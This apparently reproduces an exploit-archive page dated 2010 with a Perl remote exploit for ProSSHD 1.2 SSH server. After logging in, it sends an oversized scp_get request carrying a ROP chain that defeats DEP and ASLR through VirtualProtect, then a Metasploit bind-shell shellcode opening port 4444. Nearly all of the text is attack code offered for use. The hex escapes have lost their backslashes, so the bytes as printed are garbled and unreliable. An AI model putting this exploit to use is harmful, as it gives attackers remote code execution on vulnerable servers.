ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)
Posted on 03 May 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass)</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================ ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass) ============================================================ # Exploit Title: ProSSHD 1.2 remote post-auth exploit (w/ASLR and DEP bypass) # Date: 03.05.2010 # Author: Alexey Sintsov # Software Link: http://www.exploit-db.com/application/11618 # Version: 1.2 # Tested on: Windows XP SP3 / Windows 7 # CVE : # Code : ################################################################################ # Original exploit by S2 Crew [Hungary] # * * * # ROP for DEP and ASLR bypass by Alexey Sintsov from DSecRG [www.dsecrg.com] # * * * # Tested on: ProSSHD v1.2 on Windows XP and Windows 7 with DEP for all # # Special for XAKEP magazine [www.xakep.ru] # # # CVE: - #!/usr/bin/perl use Net::SSH2; $username = ''; $password = ''; $host = '192.168.126.129'; #Remote host #$host = '192.168.13.6'; $port = 22; # windows/shell_bind_tcp - 368 bytes # http://www.metasploit.com # Encoder: x86/shikata_ga_nai # LPORT=4444, RHOST=, EXITFUNC=process, InitialAutoRunScript=, # AutoRunScript= $shell = "xbaxdax29x13xdaxd9xe9xd9x74x24xf4x58x31xc9" . "xb1x56x31x50x13x83xc0x04x03x50xd5xcbxe6x26" . "x01x82x09xd7xd1xf5x80x32xe0x27xf6x37x50xf8" . "x7cx15x58x73xd0x8exebxf1xfdxa1x5cxbfxdbx8c" . "x5dx71xe4x43x9dx13x98x99xf1xf3xa1x51x04xf5" . "xe6x8cxe6xa7xbfxdbx54x58xcbx9ex64x59x1bx95" . "xd4x21x1ex6axa0x9bx21xbbx18x97x6ax23x13xff" . "x4ax52xf0xe3xb7x1dx7dxd7x4cx9cx57x29xacxae" . "x97xe6x93x1ex1axf6xd4x99xc4x8dx2exdax79x96" . "xf4xa0xa5x13xe9x03x2ex83xc9xb2xe3x52x99xb9" . "x48x10xc5xddx4fxf5x7dxd9xc4xf8x51x6bx9exde" . "x75x37x45x7ex2fx9dx28x7fx2fx79x95x25x3bx68" . "xc2x5cx66xe5x27x53x99xf5x2fxe4xeaxc7xf0x5e" . "x65x64x79x79x72x8bx50x3dxecx72x5ax3ex24xb1" . "x0ex6ex5ex10x2exe5x9ex9dxfbxaaxcex31x53x0b" . "xbfxf1x03xe3xd5xfdx7cx13xd6xd7x0bx13x18x03" . "x58xf4x59xb3x4fx58xd7x55x05x70xb1xcexb1xb2" . "xe6xc6x26xccxccx7axffx5ax58x95xc7x65x59xb3" . "x64xc9xf1x54xfex01xc6x45x01x0cx6ex0fx3axc7" . "xe4x61x89x79xf8xabx79x19x6bx30x79x54x90xef" . "x2ex31x66xe6xbaxafxd1x50xd8x2dx87x9bx58xea" . "x74x25x61x7fxc0x01x71xb9xc9x0dx25x15x9cxdb" . "x93xd3x76xaax4dx8ax25x64x19x4bx06xb7x5fx54" . "x43x41xbfxe5x3ax14xc0xcaxaax90xb9x36x4bx5e" . "x10xf3x7bx15x38x52x14xf0xa9xe6x79x03x04x24" . "x84x80xacxd5x73x98xc5xd0x38x1ex36xa9x51xcb" . "x38x1ex51xde"; $fuzz = "x41"x491 . # buffer before RET addr rewriting ############################### ROP # All ROP instructions from non ASLR modules (coming with ProSHHD distrib): MSVCR71.DLL and MFC71.DLL # For DEP bypass used VirtualProtect call from non ASLR DLL - 0x7C3528DD (MSVCR71.DLL) # this make stack executable: #### RET rewrite### "x9Fx07x37x7C". # MOV EAX, EDI / POP EDI / POP ESI / RETN ; EAX points on our stack data with some offset "x11x11x11x11". # JUNK---------------^^^ ^^^ "x22x22x22x22". # JUNK-------------------------^^^ "x27x34x34x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10 "x33x33x33x33". # JUNK------------------------------^^^ "xC1x4Cx34x7C". # POP EAX / RETN # ^^^ "x33x33x33x33". # ^^^ "x33x33x33x33". # ^^^ "x33x33x33x33". # ^^^ "x33x33x33x33". # ^^^ # ^^^ "xC0xFFxFFxFF". # ----^^^ Param for next instruction... "x05x1ex35x7C". # NEG EAX / RETN ; EAX will be 0x40 (param for VirtualProtect) "xc8x03x35x7C". # MOV DS:[ECX], EAX / RETN ; save 0x40 (3 param) "x40xa0x35x7C". # MOV EAX, ECX / RETN ; restore pointer in EAX "xA1x1Dx34x7C". # DEC EAX / RETN ; Change position "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN ; EAX=ECX-0x0c "x08x94x16x7C". # MOV DS:[EAX+0x4], EAX / RETN ;save addres for VirtualProtect (1 param) "xB9x1Fx34x7C". # INC EAX / RETN ; oh ... and move pointer back "xB9x1Fx34x7C". # INC EAX / RETN "xB9x1Fx34x7C". # INC EAX / RETN "xB9x1Fx34x7C". # INC EAX / RETN ; EAX=ECX=0x8 "xB2x01x15x7C". # MOV [EAX+0x4], 1 ; size for VirtualProtect (2 param) "xA1x1Dx34x7C". # DEC EAX / RETN ; Change position for output from VirtualProtect "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "xA1x1Dx34x7C". # DEC EAX / RETN "x27x34x34x7C". # MOV ECX, EAX / MOV EAX, ESI / POP ESI / RETN 10 "x33x33x33x33". # JUNK------------------------------^^^ "x40xa0x35x7C". # MOV EAX, ECX / RETN ; restore pointer in EAX # "x33x33x33x33". # "x33x33x33x33". # "x33x33x33x33". # "x33x33x33x33". # "xB9x1Fx34x7C". # INC EAX / RETN ; and again... "xB9x1Fx34x7C". # INC EAX / RETN "xB9x1Fx34x7C". # INC EAX / RETN "xB9x1Fx34x7C". # INC EAX / RETN "xE5x6Bx36x7C". # MOV DS:[EAX+0x14], ECX ; save output addr for VirtualProtect (4 param) "xBAx1Fx34x7C"x204 . # RETN fill..... "xDDx28x35x7C". # CALL VirtualProtect / LEA ESP, [EBP-58] / POP EDI / ESI / EBX / RETN ;Call VirtualProtect "AAAABBBBCCCCDDDD". # Here is place for params (VirtualProtect) ####################### retrun into stack after VirtualProtect "x1AxF2x35x7C". # ADD ESP, 0xC / RETN ; take next ret "XXXYYYZZZ123". # trash "x30x5Cx34x7C". # 0x7c345c2e: ANDPS XMM0, XMM3 -- (+0x2 to address and....) --> PUSH ESP / RETN ; EIP=ESP "x90"x14 . # NOPs here is the begining of shellcode $shell; # shellcode 8) $ssh2 = Net::SSH2->new(); $ssh2->connect($host, $port) || die " Error: Connection Refused! "; $ssh2->auth_password($username, $password) || die " Error: Username/Password Denied! "; #sleep(10); $scpget = $ssh2->scp_get($fuzz); $ssh2->disconnect(); # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-05-03]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>
